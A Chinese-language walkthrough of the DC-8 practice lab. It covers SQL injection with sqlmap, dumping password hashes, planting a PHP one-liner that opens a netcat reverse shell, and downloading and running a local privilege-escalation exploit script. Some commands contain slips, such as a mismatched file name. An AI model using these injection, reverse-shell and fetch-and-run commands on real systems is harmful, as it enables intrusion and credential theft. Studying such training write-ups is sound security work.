靶场简介

描述

DC-8 是另一个特意建造的易受攻击的实验室,旨在获得渗透测试领域的经验。

这个挑战有点混合实际挑战和“概念证明”,即在 Linux 上安装和配置的双因素身份验证是否可以防止 Linux 服务器被利用。

这个挑战的“概念证明”部分最终是由于 Twitter 上关于双因素身份验证和 Linux 的问题,以及@theart42 的建议。

此挑战的最终目标是绕过双重身份验证,获取 root 权限并读取唯一标志。

除非您尝试通过 SSH 登录,否则您可能甚至不知道已安装和配置了双因素身份验证,但它肯定存在并且可以正常工作。

必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。

对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

nmap 扫描

扫描存活

image-20220916102049862

1
2
kali 192.168.169.220
dc 192.168.169.235

扫描目标ip

image-20220916102255207

访问http

image-20220916102419885

image-20220916102538043

扫描网站

  • burpsuit + xray
  1. xray
1
webscan --listen 127.0.0.1:7777 --html-output result.html

image-20220916105036999

  1. burpsuit

image-20220916105138020

  1. 浏览器设置burpsuitp的代理
  2. 对网站的每个能点击的功能点进行测试
  3. 在xray的根目录能看到一份报告 result.html 和上面的命令有关可更改

扫描报告

image-20220916105936391

  • 发现sql注入在nid的位置

sqlmap

1
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 --dbs

image-20220916110452578

1
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db --tables

image-20220916110703377

image-20220916110737913

1
sqlmap -u http://192.168.169.235/?nid=3 --batch --level 4 -D d7db -T users --columns

image-20220916111107110

1
sqlmap -u http://192.168.169.235/?nid=3 -D d7db -T users -C name,pass --dump

image-20220916131250137

1
2
admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z |
john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

解密

image-20220916130321651

1
2
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
1
john:turtle

登录

  • 扫目录
1
dirsearch -u http://192.168.169.235/ 
1
http://192.168.169.235/user/login/

image-20220916131809216

写入一句话

image-20220916145058925image-20220916145217367image-20220916145505547

  • 蚁剑连接

  • 无法找到路径 换方案


netcat

  • kali

image-20220916145930590

  • 老位置写入
1
<?php system("nc -n 192.168.169.235 6666 -e /bin/bash");?>
  • 随便写点东西提交产生交互

image-20220916150241911

  • 连接成功
1
python -c "import pty; pty.spawn('/bin/bash');"

image-20220916150315360

提权

  • 翻找可以利用的文件
1
find / -perm -4000 2>/dev/null

image-20220916150434593

  • 漏洞利用

image-20220916151525458

  • 下载文件使用命令开始端口让目标机下载
1
python3 -m http.server 807

image-20220916152355711

  • 下载
1
wget http://192.168.169.220:807/469961.sh

image-20220916152735992

  • 加权限 执行
1
chmod +x 46996.sh
1
./46996.sh -m netcat

image-20220916155243826

image-20220916155423078


  • 如果报错
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    shell脚本报错/bin/bash^M: bad interpreter: No such file or directory,通过查阅资料得知,shell脚本格式必须是unix才行,但我这个脚本是在windows上编写完成传到Linux服务器上的,所以一执行就报错

    windows环境下的文件是dos格式,即每行结尾以\r\n来标识,而linux下的文件是unix格式,行尾则以\n来标识,查看该文件格式:

    1.cat -A filename,如果输出结果中行末尾是^M, 则 是 d o s 格 式 , 如 果 行 末 尾 只 是 ,则是dos格式,如果行末尾只是,则是dos格式,如果行末尾只是,则是unix格式。

    2.vim filename,编辑文件,执行“:set ff”,若执行结果为fileformat=dos则为dos格式,若执行结果为fileformat=unix则为unix格式。

    3.od -t x1 filename,以16进制查看文件,若输出结果中存在“0d 0a”则为dos格式,如果只有“0a”则为unix格式。其中“0d”即为回车符“\r”,“0a”即为换行符“\n”。



    1.sed -i “s/\r//” filename 或sed -i “s/^M//” filename,直接将回车符替换为空字符串。

    2.vim filename,编辑文件,执行“: set ff=unix”,将文件设置为unix格式,然后执行“:wq”,保存退出。

    3.dos2unix filename或busybox dos2unix filename,如果提示command not found,可以使用前两种方法。

报错的话

检查下格式

:set ff 若执行结果为fileformat=dos则为dos格式

: set ff=unix 将文件设置为unix格式

然后执行“:wq”,保存退出。


结束